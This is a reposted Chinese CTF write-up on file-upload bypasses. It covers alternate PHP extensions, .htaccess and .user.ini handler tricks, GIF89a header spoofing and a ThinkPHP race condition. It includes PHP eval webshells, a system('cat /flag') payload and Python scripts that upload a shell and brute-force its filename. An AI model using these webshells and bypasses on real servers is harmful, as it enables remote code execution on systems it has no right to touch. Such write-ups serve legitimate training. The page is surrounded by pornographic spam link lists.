日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF下的文件上传

發(fā)布時間:2024/9/30 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF下的文件上传 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:

CTF下的文件上傳考法也有很多種,結(jié)合做過的題目進(jìn)行一個總結(jié)。

[ACTF2020 新生賽]Upload

——后綴名繞過

有JS代碼在前端驗證,先上傳要求的格式再通過抓包修改后綴名

看來php后綴被過濾了,可以嘗試其他后綴名

php常用后綴名如下:

# php2,php3、php4、php5、phtml、phtm 代替php后綴


phtml和phtm后綴即可上傳進(jìn)行,下面就是連接查看flag了

類似題目:

[極客大挑戰(zhàn) 2019]Upload

[GXYCTF2019]BabyUpload

——圖片馬

經(jīng)過測試只有jpg后綴的圖片可以上傳進(jìn)行,利用php后綴名無法繞過,大小寫也無法繞過,那就通過上傳.htaccess文件來解析上傳的jpg圖片

上傳成功,下面?zhèn)魅雑peg馬連接即可

補(bǔ)充一下上傳姿勢和.htaccess 文件上傳

#上傳姿勢 添加gif89a的頭 <script language=”php”> php2,php3、php4、php5、phtml、phtm代替php后綴 傳.htaccess 截斷上傳#.htaccess文件上傳 #方法一: # FileMatch 參數(shù)即為文件名的正則匹配 <FilesMatch "1.jpg">SetHandler application/x-httpd-php </FilesMatch> // 1.jpg <?php eval($_GET['a']);?> #方法二: AddType application/x-httpd-php .jpg // 1.jpg <?php eval($_GET['a']);?>

類似題目:

[MRCTF2020]你傳你🐎呢

[RoarCTF 2019]Simple Upload

——條件競爭、Thinkphp的文件上傳、腳本上傳


很明顯就是Thinkphp的代碼,查到thinkphp的手冊
ThinkPHP3.2完全開發(fā)手冊
查資料發(fā)現(xiàn)Thinkphp默認(rèn)上傳路徑是/home/index/upload
這道題沒有上傳點,應(yīng)該是要自己編寫腳本上傳進(jìn)去,可以參考師傅的文章去寫
python模擬文件上傳(multipart/form-data形式)

下載源碼觀察文件上傳命名規(guī)則

uniqid() 函數(shù)基于以微秒計的當(dāng)前時間,生成一個唯一的 ID,所以上傳文件名是一直在變化的。

觀察題目源碼會發(fā)現(xiàn)只是限制了上傳后綴,thinkPHP里的upload()函數(shù)在不傳參的情況下是批量上傳的,可以理解為防護(hù)機(jī)制只檢測一次,運用條件競爭,多次上傳便可以繞過文件后綴的檢測。

那接下來就通過腳本來進(jìn)行上傳

import requestsurl = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'file1 = {'file':open('lemon.txt','r')} file2 = {'file1':open('lemon.php','r')}r = requests.post(url,files=file1) print(r.text) r = requests.post(url,files=file2) print(r.text)

發(fā)現(xiàn)上傳的php文件沒有顯示出文件名

上面提到了uniqid() 函數(shù)會以時間更改文件名,所以將lemon.txt上傳兩次根據(jù)第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件名

import requestsurl = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'file1 = {'file':open('lemon.txt','r')} file2 = {'file1':open('lemon.php','r')}r = requests.post(url,files=file1) print(r.text) r = requests.post(url,files=file2) print(r.text) r = requests.post(url,files=file1) print(r.text)


發(fā)現(xiàn)文件名后六位不同,只能爆破了

import requestss = "1234567890abcdef" for i in s:for j in s:for k in s:for l in s:for o in s:for u in s:url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/Public/Uploads/2020-04-24/5ea2526%s%s%s%s%s%s.php"%(i,j,k,l,o,u)r = requests.get(url)# print(url)if r.status_code != 404:print(url)break

幾乎爆破不出來,六位太長了,但思路和方法就是這樣的,看了師傅寫的腳本可以跑出來,學(xué)習(xí)一下

#coding:utf-8 import requests import time import jsonurl = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"path = url + "/index.php/home/index/upload" files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')} r = requests.post(path, files=files) t1 = r.text.split("/")[-1].split(".")[0] param=json.loads(r.content) #json.loads()用于將str類型的數(shù)據(jù)轉(zhuǎn)成dict print param t1 = int(t1, 16)j = t1 while True:path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]try:r = requests.get(path,timeout=1)except:continueif r.status_code == 429:#規(guī)避過于頻繁訪問導(dǎo)致的429time.sleep(0.1)continueelif r.status_code != 404:print pathprint r.textbreakprint j, path, r.status_codej -= 1

[SUCTF 2019]CheckIn

——.user.ini的利用

這道題能學(xué)到新的知識和姿勢,下面就通過題目來學(xué)習(xí)

看似是一道正常的上傳題目,然后有黑名單,檢測文件頭,截斷也不行,圖片馬的話.htaccess文件上傳不,這個就很頭疼,看了師傅的WP發(fā)現(xiàn)是用到了.user.ini,說實話這個真的沒有遇到過,學(xué)習(xí)一下

對比: .user.ini 無論是nginx/apache/IIS,只要以fastcgi運行的php都可以用這個方法。 .htaccess .htaccess有局限性,只能是apache.

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

原理就不敘述了,可以看師傅對其的分析,寫的真的很詳細(xì)了

配置項描述
auto_prepend_file指定一個文件,在任何php文件運行前會將這個文件require進(jìn)來。
auto_append_file類似前一選項,區(qū)別是包含目標(biāo)文件在php尾部執(zhí)行。當(dāng)該文件調(diào)用了exit()時無效。

下面就通過這道題來練習(xí)一下這個方法:

.user.ini

auto_prepend_file=1.jpg

上傳發(fā)現(xiàn)繞不過文件頭檢測

可以添加 GIF89a 或者通過設(shè)置height以及width來繞過getimagesize、或exif_imagetype的檢測 #define width 666 #define height 666

payload:

.user.ini文件 #define width 666 #define height 666 auto_prepend_file=3.jpg 3.jpg文件 #define width 666 #define height 666 <script language="PHP">system("cat /flag");</script>

其他例子:
https://blog.csdn.net/qq_43305301/article/details/104494779

未完待續(xù)!

總結(jié)

以上是生活随笔為你收集整理的CTF下的文件上传的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 天堂中文在线观看 | 波多野结衣操 | 日韩欧美综合久久 | 亚洲资源在线播放 | 波多野结衣视频免费看 | 日韩综合 | 偷偷久久| 花房姑娘免费观看全集 | 日韩免费黄色片 | 三级免费黄录像 | 欧美成人二区 | 国产激情久久久久 | 五月激情六月丁香 | 久久久久久久97 | 能看毛片的网站 | 日韩毛片在线观看 | 边吃奶边添下面好爽 | 香蕉a| 欧美色图网址 | 免费在线一区二区三区 | 天天射天天射天天射 | 日本少妇激情舌吻 | 一本大道视频 | 国产极品999| 日本呦呦| 色婷婷一区二区三区四区 | 国产极品美女高潮无套在线观看 | 操色网| 尹人久久| 亚洲v在线观看 | 国产鲁鲁视频在线观看免费 | 饥渴放荡受np公车奶牛 | 久久久久久夜 | 少妇的被肉日常np | 99re久久 | 在线观看亚洲国产 | 人妻洗澡被强公日日澡电影 | 美女脱了内裤喂我喝尿视频 | 免费在线视频一区二区 | 欧美亚洲日本国产 | 国语对白做受69 | 精品一区二区久久久久久久网站 | 免费一级黄 | 少妇中文字幕 | 亚洲va久久久噜噜噜无码久久 | 中文字幕无线码一区 | 天天爽天天摸 | 欧美在线a | av在线一区二区 | av综合久久 | 欧美激情伊人 | 涩涩av| 114国产精品久久免费观看 | 久久精品99国产 | x88av在线 | 亚洲片国产一区一级在线观看 | 日本美女全裸 | 杨贵妃颤抖双乳呻吟求欢小说 | 久久无码国产视频 | 国产精品久久777777换脸 | 美日毛片| 国产美女喷水视频 | 国产大奶在线观看 | 欧美在线一级 | 久久人人干 | 成av人在线观看 | 久久国产精品久久精品国产 | 97人人爽人人爽人人爽 | 日韩亚洲影院 | 操操日| 成人午夜影视在线观看 | 国产真人无码作爱视频免费 | 亚洲最大色网站 | 野外性满足hd | 阿拉伯性视频xxxx | 午夜精品在线观看 | 男女做爰猛烈刺激 | 91精品一区二区三区四区 | 国产野外作爱视频播放 | 男人的天堂亚洲 | 一区二区在线观看视频 | 天堂av免费 | 你懂的日韩 | 国产激情视频一区 | 国产成人精品一区二区 | 日韩精品1 | 黄色一区二区视频 | 午夜精品福利一区二区 | 一区二区视频网站 | 丰满的女人性猛交 | 射射色| 日本黄色片. | 国产成人av免费看 | 九九午夜| 欧美日韩123| 亚洲视频黄 | 欧美xxxx中国 | 欧美综合一区二区三区 | 91二区 |